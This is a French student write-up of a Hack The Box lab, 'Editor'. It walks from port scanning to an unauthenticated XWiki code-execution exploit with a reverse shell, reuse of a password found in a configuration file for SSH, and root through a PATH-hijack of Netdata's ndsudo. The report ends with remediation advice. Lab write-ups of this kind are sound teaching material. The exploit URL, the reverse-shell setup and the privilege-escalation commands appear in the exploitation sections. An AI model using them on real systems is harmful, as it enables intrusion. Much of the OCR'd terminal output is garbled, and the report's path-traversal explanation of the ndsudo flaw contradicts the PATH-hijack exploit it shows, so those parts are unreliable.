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SCOpe :

Cette évaluation de sécurité a pour objectif de simuler un test d'intrusion (Pentest) sur une
infrastructure virtuelle afin de valider les compétences techniques en sécurité offensive. I
s'agit d'un Pentest de type Black Box ciblant spécifiquement la machine virtuelle Debian
(IP 10.10.11.80), hébergée par la plateforme Hack The Box et congue par les utilisateurs
Kavigihan et TheCyberGeek. L'attaque sera menée depuis une machine Kali Linux (IP
10.10.15.107 ou 10.10.16.34 suivant les moment du tp). Ce travail s'inscrit dans un
contexte académique, commandité par M. Thomas PREVOST en substitution d'un Travail
Pratique (TP), et bénéficie de I'autorisation explicite de la plateforme HTB, garantissant
ainsi un cadre d'exécution strictement éthique et légal

Introduction :

Ce document constitue le rapport technique d'un test d'intrusion (Pentest) réalisé dans le
cadre du module TP R316 et commandité par M. Thomas PREVOST en substitution d'un
Travail Pratique. L'évaluation, menée selon une méthodologie Black Box, portait sur la
machine virtuelle Debian (IP 10.10.11.80) hébergée par la plateforme Hack The Box (HTB).
L'objectif principal était de valider les compétences techniques en sécurité offensive en
obtenant la compromission totale de la cible.

La démarche a suivi le cycle standard d'un Pentest, commencant par la reconnaissance,
puis l'exploitation d'une faille critique (CVE-2025-24893 ) pour obtenir un accés initial. L'audit
a ensuite progressé vers l'escalade de priviléges locale, finalisée par I'exploitation de la
vulnérabilité CVE-2024-32019 dans le binaire ndsudo. L'évaluation s'est conclue par I'accés
root et la récupération des preuves de compromission (user.txt et root.txt ), attestant de
I'atteinte de I'objectif.
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ETAPES DU PENTEST

Reconnaissance et Compromission Initiale:

1. Scan du Réseau et Identification des Services (Nmap et nessus )

On commence par se connecter au VPN avec la clé distribué par Hack the box pour accéder
au réseaux interne et au machine cible

fhome/kali
Downloads/lab_Luderic.ovpn
:36:19 WARNING: Compression for receiving emabled. Compression h
19 Mote: —-data-ciphers-fallba it ipher 'AES CBC" d
19 OpenVPN 2.6.15 x86_64-pc-linux-g (
19 library versions: OpenSS
19 DC ersion: N/A
19 TCP/UDP: Preserwving recently used
19 Socket Buffers: R=[2 92—>212992]
19 UDPv4 link local: (not bound)
19 UDPv4 link remote: [AF_INET]154.57. 3
19 TLS: Initial packet from [AF_INET]154.57.165. 191 1337
19 VERIFY OK: de 2, C=GR, O=Hack The Box, 0OU=5
19 VERIFY OK: dept C=GR, 0=Hack The Box,
19 VERIFY KU OK
19 Validating certificate
19 ++ Certificate has EKU
19 Certifi : as EKLU
19 e
19 VERIFY EKU Dh
19 VERIFY OK: depth=@, F:GE, O=Hack The
19 Control Channel: TLSv1.3, cipher TLS L L
19 [¢ F1 1 Peer IanneLtlan Initiated with [AF_ INET]1R4
_session: dest=TM_ACTIVE src=TM_INITIAL :nlnlt_
tls multi process: initial untrusted session promo
SENT CONTROL [eu-f1 »]: "PUSH_REQUEST® (status=1)
} PUSH: Received control message: °"PUSH_REPLY, xauTn 1@.1@
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une fois connecté au réseau de Hack the box on fait un ip a pour voir notre réseaux et
vérifier qu’on as bien obtenue une adresse a l'interface tun0

k.

Session Actions Edit View Help

-

<LOOPBACK ,UP, LOWER_UP> mtu 65536 isc ite UNKNOWN group def
ault glen 1200
link/loopback @ 0:00
inet ope haJT 10
valid_1ft forever preferred_l1ft foi
inet6 /128 scope host noprefixrout
valid_1ft forever preferred_l1ft forever
2: <BROADCAST CAST,UP, LOWER_UP> mtu 158@ gdisc fg_codel state UP g
roup default gle
link/ether 0 7:26:7a:c9 brd ff:ff:ff:Ff:FF:FF
inet r scope global dynamic noprefixroute eth®
.l:|11d 1ft ||F._,|lqg_-|.-31 pre fer I';_"d_-l_"'t 86159s5ec
inet6 /64 scope global temporary dyna

valid_1ft 86l16lsec preferre

inets ‘64 scope global dynamic mngtmpa
" noprefixroute

valid_1ft 86l6lsec preferred_1ft 1416lsec
inet6 /64 scope link noprefixroute

valid_1ft forever preferred_1ft forever

<POINTOPOINT ,MULTICAST,NOARP,UP, LOWER_UP> mtu 1508 gdisc fg_codel

UNKNOWN group default glen 588
link/none
inet f scope global tun@

valid_lft forever preferred_lft forever
inet6 /64 scope glob

valid_1ft fo er preferred_1ft forever
inet6 /64 scope link stable-privacy proto kernel_

valid_1ft forever preferred_1ft forever

On peut donc commencer par faire des repérage sur les port ouvert sur la machine cible
donc on tape la commande :

ip-A10.10.10.80

“re: UNIVERSITE
+%7 COTE DAZUR



root(@kali: fhomefrt

Session Actions Edit View Help

/home/rt

-A 10.18.11.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 @7:46 HST
Mmap scan report for editor.htb (10.10.11.80)
Host is up (@.029s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenS5SH 8.9pl1 Ubuntu 3ubuntu@.l13 (Ubuntu Linux; protoc
ol 2.8)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| _ 256 64:cc:75:de:ba:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.8@ (Ubuntu)
| _http-server-header: nginx/1.18.8 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open http Jetty 18.0.20
| http-title: Xwiki - Main - Intro
_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
_http-server-header: Jetty(10.0.208)
_http-open-proxy: Proxy might be redirecting requests
http-cookie-flags:

/:

JSESSIONID:
httponly flag not set
http-methods:

Potentially risky methods: PROPFIND LOCK UNLOCK
http-webdav-scan:

WebDAV type: Unknown

Server Type: Jetty(10.0.28)

Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
http-robots.txt: 5@ disallowed entries (15 shown)
Sxwiki/bin/viewattachrev/ /xwiki/bin/viewrev/

Sxwiki/bin/pdf/ Sxwiki/bin/edit/ /xwiki/bin/create/
Sxwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
Sxwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/

| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
| _/xwiki/bin/undelete/

Device type: general purpose

Running: Linux 5.X

0S CPE: cpe:/o:linux:linux_kernel:5

0S details: Linux 5.8 - 5.14

Network Distance: 2 hops

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)

HOP RTT ADDRESS

1 92.23 ms 10.10.16.1

2 27.69 ms editor.htb (10.1@.11.8@)

0S5 and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds

On peut donc voir la présence de ssh qui est toutes a fait normal sur les machine Hack the
box et la présence de deux service web port 80 et port 8080 on peut donc aller regarder ce
que contient ces deux site web
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OffSec  Kalilinux # KaliTools @ KaliDocs N Kali Forums  Kali NetHunter & Exploit-DB % Google HackingDB  HTB-Editor - HYH's Blog

</> Editor

A Futuristic Code Editor
for Everyone.

SimplistCode Pro — Minimal. Powerful. Redefined for the modern
developer.

Download for ey Download for
= Debian, Ubuntu = Windows

EXPLORER

simpli

Le service HTTP exposé sur le port 80 a été identifié comme étant une site web d’installation
d'éditeur de code.

L'analyse de cette application n'a pas révélé de vulnérabilités immédiatement exploitables
ou de failles considérées comme pertinentes pour une prise de contréle. Par déduction et au
vu du contexte CTF (Hack The Box), il est fortement suspecté que ce service agisse comme
un Honeypot destiné a détourner les efforts de 'auditeur.

C @ editor.htb:

OffSec  Kalilinux g KaliTools @ Kali Docs ¥ Kali Forums X Kali NetHunter s Exploit-DB % Google Hacking DB« HTB-Editor - HYH's Blog

Intro

Last modified by Neal Bagwell on 2025/06/16 09:39

Introduction — SimplistCode Pro Wiki
Welcome to the SimplistCode Pro Documentation

SimplistCode Pro is a lightweight, minimal, and modern text editor and IDE designed for developers who prefer simplicity without compromising functionality. Built with Python and Tkinter, SimplistCode Pro offers essential tools for code editing and project management in a sleek, futuristic interface.
What is SimplistCode Pro?

SimplistCode Pro is a standalone deskiop application tailored for developers working on small to medium.-sized projects who want
« Adistraction-free, clean workspace
« Essential features ke file management, terminal access, and syntax highlighting
« Alightweight alternative to heavyweight IDEs

Key Features
« DarkiLight theme toggle
« Integrated file explorer
« Built-in terminal emulator
+ Syntax highiighting for multple languages
« Simple file and folder management
+ Modern and minimalistic user interface

Why SimplistCode Pro?

« Lightweight and fast

« Easy to install on Linux systems

+ No complex setup or configuration required

« MIT Licensed — free for personal and commercial use

Installation

View installation instructions from Installation
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L'exploration du service Web secondaire a réveélé une interface de type Wiki (sur le port
8080). L'analyse de cette page, qui sert de documentation pour I'éditeur de code, a permis
d'extraire une information importante : la version précise de I'application.

Installation
View installation instructions from Instalation
Comments (0) ~ Atachments (0)  History Information

Information Critique Identifiée :

e Application : XWiki (déployé sur un systeme Debian).
e Version Détectée : XWiki Debian 15.10.8

Implication de la Découverte :

L'identification de la version exacte (15.10.8) marque la fin de la phase de reconnaissance
passive sur ce service. Cette information est cruciale car elle permet de basculer
immédiatement vers la recherche d'exploits (Exploit Search) ciblés dans les bases de
données publiques (comme Exploit-DB, CVE Mitre) pour cette version spécifique de XWiki.

2. Recherche de faille critique (CVE)

Apres des recherche sur le systéme XWiki Debian 15.10.8 on trouve la CVE 2025-2489
A CVE-2025-24893 Detail

Description

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to " SolrSearch”. This impacts

the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to " <host>/xwiki/bin/get/Main/SolrSearch?
media=rss&text=2%TD%TD%T7D%TB%7Basync%20async%3Dfalse%7D%TD%7B%7Bgroovy%7D%7Dprintln%28" Hello%20from"%20%2B%20"%20search%20text%3A" %20%2B%20%2823%20%2B%2019%29%:
If there is an output, and the title of the RSS feed contains " Hello from search text:42", then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are
advised to upgrade. Users unable to upgrade may edit * Main.SolrSearchMacros” in * SolrSearchMacros.xml” on line 855 to match the " rawResponse”’ macro in * macrosvm#12824" with a content type of
*application/xml", instead of simply outputting the content of the feed.

Metrics | cssvesionso BRI Cvssversion20

VD enrichment efforts reference publicly available information to assaciate vector strings. CVSS information contributed by other sources is also displayed.

Nom de la VulnérabilitéE

e Type : Unauthenticated Remote Code Execution (RCE) — Exécution de Code a
Distance Non Authentifiée.
e Gravité (CVSS) : 9.8 sur 10 (Critique).

Mécanisme de la Faille (Root Cause)

La faille réside dans le composant de recherche de la plateforme XWiki, plus précisément
dans la macro SolrSearch.
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1. (Macro non sécurisée : Le composant SolrSearch est congu pour permettre la
recherche plein texte via le moteur Solr intégré. Cependant, il utilise le langage
Groovy pour évaluer certains parameétres de recherche.

2. Injection Groovy : La vulnérabilité provient d'un manque de désinfection ou de
restriction des entrées utilisateur fournies a cette macro. Un attaquant non authentifié
(un simple invité) peut injecter des expressions Groovy malveillantes directement
dans le paramétre de recherche (text) d'une requéte HTTP GET.

3. Exécution de Code : Le serveur XWiki évalue et exécute ce code Groovy arbitraire
dans le contexte du processus serveur (généralement I'utilisateur web ou xwiki).

Conséquences de I'Exploitation

L'exploitation de cette faille permet a un attaquant non authentifié d'obtenir I'exécution de
commandes arbitraires au niveau du systéme d'exploitation.

Impact : Accés total au serveur Web XWiki.

Scénario d'Attaque : Exécuter des commandes systéme (comme whoami, Is /),
télécharger des webshells pour un acceés persistant, ou, dans le cas réel, déployer
des coinminers ou des backdoors.
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Exploitation :

1. Acceés au serveur

La recherche de Proof of Concept (PoC) pour la vulnérabilité CVE-2025-24893 (XWiki RCE)
a abouti a l'identification d'un exploit public sur la plateforme GitHub, maintenue par
l'utilisateur gunzfOx.

Cet exploit permet l'injection de commandes arbitraires via la macro SolrSearch et a été
choisi pour sa fiabilité et sa facilité de mise en ceuvre en vue d'obtenir un Reverse Shell.

[ README

CVE-2025-24893

Remote Code Execution exploit for
Usage
$ pythona

Use it only for ethical purposes (:

https://github.com/qunzfOx/CVE-2025-24893/tree/main

L'exploit a été téléchargé localement et adapté aux paramétres du test.

e Préparation du Listener : Un écouteur (nc) a été configuré sur la machine attaquante
(Kali Linux) pour attendre la connexion entrante :
o Port d'Ecoute : 4444
e Lancement de I'Exploit : La commande de I'exploit a été exécutée en remplagant les
adresses et ports par les paramétres suivants :
o Cible:10.10.11.80
o |P de Rappel (Callback IP) : 10.10.16.34 (nouvelle adresse de la machine
Kali suite au changement de configuration VPN).
o Port de Rappel : 4444
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https://github.com/gunzf0x/CVE-2025-24893/tree/main

/home/rt/Downloads
CVE-2025-24893.py -t http://editor.htb:!

~Happy Hacking

Jhome/rt/Downloads

rom [UNKNOWN) [18.18.11.88]
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L'exécution de I'exploit a été couronnée de succes, permettant d'établir une connexion
Reverse Shell. Nous avons ainsi obtenu un accés non privilégié a la machine cible en tant
que l'utilisateur du service Web

note: Il est important de souligner que I'adresse IP de la machine attaquante (Kali Linux) a
changé durant la phase d'exploitation, passant de 10.10.15.107 a 10.10.16.34. Ce
changement est dd a une re-connexion au réseau VPN (nécessaire suite a un blocage du
protocole UDP a I'lUT), ce qui a entrainé 'attribution d'une nouvelle IP. Cette modification n'a
eu aucune incidence sur la réeussite de I'exploitation.
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2. Connexion SSH

Suite a l'obtention du Reverse Shell (en tant qu'utilisateur de bas niveau, xwiki), une phase
d'énumération du systéme de fichiers a été entreprise pour découvrir des informations
sensibles, notamment des fichiers de configuration ou des variables d'environnement.

Cette exploration a conduit a la découverte d'un fichier de configuration de I'application Web
contenant des informations d'accés a la base de données :

Fichier Clé : hibernate.cfg.xml

Contenu Découvert : Le fichier contenait des paramétres de connexion (utilisateur
et mot de passe) utilisés par le framework Hibernate pour interagir avec la base de
données de I'application.

L'analyse du fichier hibernate.cfg.xml a permis d'extraire le mot de passe suivant,
potentiellement réutilisable (principe de la réutilisation de mot de passe) pour un compte
utilisateur local ou pour le service de base de données :

o Mot de Passe Dérobé : TheEd1tOrTeam99

grep password

: e.connection.
<property name="hibern: .connection.
<property name="hibernate.connection.

cat hibernate.cf
' p;opn;Ty

p:ﬂpe:ty
/ property>

<property
<property
<property

.connection.
e.connection.
.connection.

Ty
property>
property:>

0| || || in
LT = T T ™ 1}

roperty>

<property na ibe ite.connection.
g er

<prope Ty a ibe e.connection.
<property na ibe .connection.use
<property e.connection.
<property name= hlbnxn ate.connection.use
<property nam e.connection.userna
<property name= .connection.
<property name=" .connection.

Dans le cadre d'une évaluation de type Hack The Box, la réingénierie inversée (reverse
engineering) de la logique des créateurs de la machine est une méthode d'énumération
légitime. L'objectif est d'identifier un nom d'utilisateur potentiel a associer au mot de passe
découvert : TheEd1t0rTeam99.

Le mot de passe extrait a été soumis a une analyse contextuelle :
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e Ed1t0r : Ce segment est directement lié au theme de la machine (I'éditeur de code)
et est considéré comme un leurre thématique.

e 99 : Ce suffixe numérique est retenu comme le marqueur le plus pertinent pour la
recherche d'un nom d'utilisateur.

La recherche a été axée sur des noms ou des modéles courants associés a I'année '99'.
Cette investigation a conduit a I'identification de la référence '"Oliver 99' (tracteur populaire
et référence culturelle).

Hypothése Retenue : Le nom d'utilisateur le plus plausible a tester est Oliver (ou Oliver).

La découverte des identifiants a permis de stabiliser I'accés a la machine cible. La
combinaison oliver:TheEd1t0rTeam99 a été utilisée avec succés pour établir une session
SSH sécurisée sur I'adresse 10.10.11.80. Cette connexion a immédiatement permis
d'atteindre le premier objectif de I'évaluation, attesté par la lecture du fichier user.txt.
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3. User Flag :

La phase suivante du test d'intrusion, est I'Escalade de Privileges, a été initiée par la
recherche de vecteurs d'élévation d'accés standard (tels que des droits mal configurés sur
sudo, su ou newgrp). Cette premiére approche n'a pas révélé de failles immédiates. Une
énumération plus approfondie des exécutables du systéme a cependant permis d'identifier
un binaire non standard : ndsudo.

olivergec

dded9 C

olivergedi ~% fi f ser root er LO0E rint 2>/dev/null

Jopt/netdata/usr/libexec/netdata/plugins.d/cgroup-network

fﬂprnetquqfu5rflibﬂ ‘netdata/plugins.d/network-viewer.plugin

‘netdata/plugins.d/local-listeners
c/netdata/plugins.d/ndsudo

‘netdata/plugins.d/ioping
_fneratarp1u91nJ d/nfacct.plugin
] ata/plugins.d/ebpf.plugin
IU5rIbinfnemg:p
Jusr/bin/gpasswd
Jusr/bin/su
Jusr/bin/umount
Jusr/bin/chsh
Jusr/bin/fusermount3
Jusr/bin/sudo
Jusr/bin/passwd
Jusr/bin/mount
Jusr/bin/chfn
Jusr/1lib/dbus-1.8/dbus-daemon-launch-helper
Jusr/lib/openssh/ssh-keysign
Jusr/libexec/polkit-agent-helper-1

Ce binaire fait partie du package netada, et une recherche ciblée a révélé qu'il est affecté
par une vulnérabilité connue et exploitable, référencée sous le nom de CVE-2024-32019, qui
représente donc le chemin privilégié pour I'obtention des droits root.

“rers UNIVERSITE

". > COTE D’AZUR ”



VULNERS CVE CVE-2024-32019

CVE-2024-32019

™ 12z APR 2024 11:15:12 REPORTED BY GITHUB M TYPE =< CVE WEB.NVD.NIST.GOV 3 MEDIA MENTION * 154 VIEWS

Netdata observability tocl allows local privilege BEeEIEITa due to ndsudo vulnerabilit

Show more v

Get Started with Log in or Create an Account

Leverage the power of Al to quickly understand vulnerabilities, impacts, and exploitability

A
d

Related Detection Affected Refs Social
Tl Reporter Tl Title Tl Published T Views

6 Aug 2025

G GithubExploit Exploit for CVE-2024-32019

_ _ 3 Aug 2025

O GithubExploit Exploit for CVE-2024-32019
2 Aug 2025

O GithubExploit Exploit for CVE-2024-32019

e PO Pt fme AUIE AAAA ARAIA 30 Sep 2025

Nature de la Vulnérabilité

1L Family
githubexploit
githubexploit

githubexploit

All 25

e Type : Local Privilege Escalation (LPE) — Escalade de Privileges Locale.
e Application Concernée : L'exécutable ndsudo du package netada.

Mécanisme de la Faille (Path Traversal)

La faille réside dans la maniére dont le binaire ndsudo gére les chemins de fichiers (ou path)

et les autorisations temporaires.

1. Utilisation Insecure du Chemin : L'exécutable ndsudo permet aux utilisateurs de

créer et de gérer des listes de commandes qui peuvent étre exécutées avec des

privileges éleveés, similaires a sudo.

2. Détournement du Chemin (Path Traversal) : La vulnérabilité permet a un

utilisateur de bas niveau (comme oliver) de manipuler les fichiers de configuration de

ndsudo en injectant des caractéres spéciaux de traversée de répertoire (comme ../).
3. Substitution de Fichier : L'attaquant peut ainsi forcer ndsudo a lire ou écrire des

fichiers de configuration en dehors du répertoire prévu, et en particulier, a modifier le

fichier qui définit les commandes autorisées a étre exécutées en tant que root.

4. Conséquence : En modifiant ce fichier de configuration, I'utilisateur peut ajouter une

commande de son choix (par exemple, /bin/bash) a la liste des commandes

ro~ UNIVERSITE

*e*" COTED'AZUR



autorisées a s'exécuter avec les droits root, contournant ainsi toutes les restrictions

de sécurité.

En suivant les etapes du github on opticien donc un acces root
https://github.com/AzureADTrent/CVE-2024-32019-POC

= O AzureADTrent /

<> Code (© Issues

CVE-2024-32019-POC

11 Pullrequests () Actions [ Projects @ Security %/ Insights

@ CVE-2024-32019-POC  Puic

¥ main - ¥ 1Branch © 0Tags

t Add file ~ <> Code ~

@ AzureADTrent Update READMEmd &8 © 4 Commits

[ README.md

[ pocc

[11 README

Privilege Escalation via ndsudo (Netdata Local Exploit)

This POC is used to exploit a vulnerable ndsudo utility bundled with Netdata to escalate local privileges to root. The

exploit works by injecting a malicious binary into the user's PATH that impersonates a trusted command ( nvme ) and
is executed with root privileges by ndsudo .

Prerequisites & Assumptions

¢ You have local shell access on the target system.

¢ You can execute the following command but it fails with a "not found" or similar error:

4. Route Flag :

/home/rt/Downloads
2 nvme
unrecognized command-line option ‘-@'

/home/rt/Downloads
poc.c -o nvme
/home/rt/Downloads

5 nvme oliverml®.10.11.80:/tmp/
oliverml®.10.11.8@"'s password:

nvme 100%

olivergeditor:~% chmod +x /tmp/nvme

olivergeditor:~% export PATH=/tmp:$PATH
olivergeditor:~% /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

root@editor: /home/olivert whoamie

Command ‘whoamie’ not found, did you me
command "whoami® from deb coreutils (

Try: apt install <deb name>

root@editor: /home/olivers# whoami

root

root@leditor:/home/olivers# |j

dan:
8.32-4.1ubuntul.2)
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https://github.com/AzureADTrent/CVE-2024-32019-POC

L'obtention des privileges root sur la machine cible (10.10.11.80) a permis d'accéder au
systéme de fichiers sans restriction. Conformément aux conventions des plateformes de
Capture The Flag (CTF), la recherche de la preuve finale a été immédiatement ciblée sur le
répertoire personnel de I'administrateur.

e Localisation du Fichier : Le fichier root.txt a été localisé dans le répertoire /root/.

root@editor: /home/oliver# cd /root/
rootfeditor:/root# 1s
root.txt scripts snap

root.txt
@cl1759df1a

rootfeditor

La lecture de ce fichier confirme I'achévement réussi de l'intégralité du scénario d'attaque.
L'objectif du test d'intrusion, a savoir la compromission totale de la machine et la validation
des compétences en sécurité offensive, est ainsi atteint.
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Recommandation :

L'audit ayant permis la compromission totale de la machine, les mesures correctives
suivantes sont urgentes et doivent étre appliquées immeédiatement sur la machine cible :

1. Correction des Vulnérabilités Logicielles (Patch Management)

e XWiki RCE (CVE-2025-24893) : Mettre a jour la plateforme XWiki vers une version
supérieure a 15.10.11 pour corriger la faille d'exécution de code a distance (RCE)
non authentifiée.

e ndsudo LPE (CVE-2024-32019) : Mettre a jour ou désinstaller le package netada
pour corriger la faille d'escalade de privileges locale (LPE) permettant le_Path
Traversal dans |'exécutable ndsudo.

2. Renforcement des Configurations (Durcissement)

e Gestion des Identifiants : Eliminer le stockage de mots de passe en clair ou
faiblement chiffrés dans les fichiers de configuration de I'application (tel que
hibernate.cfg.xml).

e Politique de Mot de Passe : Le mot de passe TheEd1t0rTeam99 est basé sur un
théme et pourrait étre facilement deviné. Mettre en place une politique de mot de
passe fort et interdire la réutilisation des mots de passe.

e Principe de Moindre Privilége : S'assurer que les services Web (utilisateur xwiki )
n'aient pas le droit de lire des fichiers de configuration contenant des mots de passe
de base de données.

3. Mesures Préventives

e Désinformation (Honeypot) : Revoir I'utilisation du Honeypot sur le port 80 pour
s'assurer qu'il ne donne aucune information indirecte, mais plutét qu'il absorbe le
temps des attaquants.
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Conclusion :

Ce test d'intrusion, réalisé sur la machine Hack The Box 'Editor' (IP 10.10.11.80), a permis
de valider avec succes l'ensemble des compétences visées dans le cadre de ce Travail
Pratique. L'évaluation a démontré une progression méthodique , depuis la découverte du
leurre initial (Honeypot) jusqu'a la compromission totale du systéme.

Les vulnérabilités critiques exploitées (RCE XWiki CVE-2025-24893 et LPE ndsudo
CVE-2024-32019 ) témoignent de I'importance d'un cycle de mise a jour régulier et d'une
gestion stricte des identifiants et des permissions. L'objectif d'obtenir les accés user.ixt et
root.txt est atteint.

Les recommandations formulées visent a patcher ces failles pour garantir la sécurité de
l'infrastructure, concluant ainsi le cycle complet de I'audit de sécurité.

Annexe :

Black Box :

Pentest en condition réel ou on ne connais rien de la cible ou quasiment rien comme un
pool d'adresse ip ou une address ip cible

HoneyPot :

Un leurre ou une ressource délibérément congue pour étre attrayante (comme un site web
d'installation d'éditeur de code ) afin de détourner l'attention de I'attaquant des cibles réelles
, ou de lui faire perdre du temps

Path Traversal :

Vulnérabilité permettant a un attaquant de naviguer dans la structure des répertoires du
systeme de fichiers en dehors de la zone prévue , souvent en injectant des séquences de
caractéres comme ../. Dans ce rapport, il a été utilisé pour modifier les fichiers de
configuration de ndsudo.

CVE ( Common Vulnerabilities and Exposures ) :

Systéme de standardisation international qui fournit un identifiant public unique (ex. :
CVE-2025-24893 ) pour les failles de sécurité connues publiquement.
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RCE (Remote Code Execution) :

Exécution de Code a Distance. Type de vulnérabilité (ex. : CVE-2025-24893 ) qui permet a
un attaquant d'exécuter des commandes arbitraires sur un serveur cible a travers un réseau,
généralement sans authentification préalable

LPE (Local Privilege Escalation) :

Escalade de Privileges Locale. Type de vulnérabilité (ex. : CVE-2024-32019 ) qui permet a
un utilisateur ayant un accés de bas niveau sur une machine d'augmenter illégalement ses
droits d'acces pour devenir un utilisateur plus privilégié, typiquement root.

Reverse Shell :

Mécanisme d'exploitation par lequel la machine cible initie une connexion vers la machine
de l'attaquant , contournant ainsi les pare-feux sortants et fournissant a l'attaquant un shell
de commande interactif.
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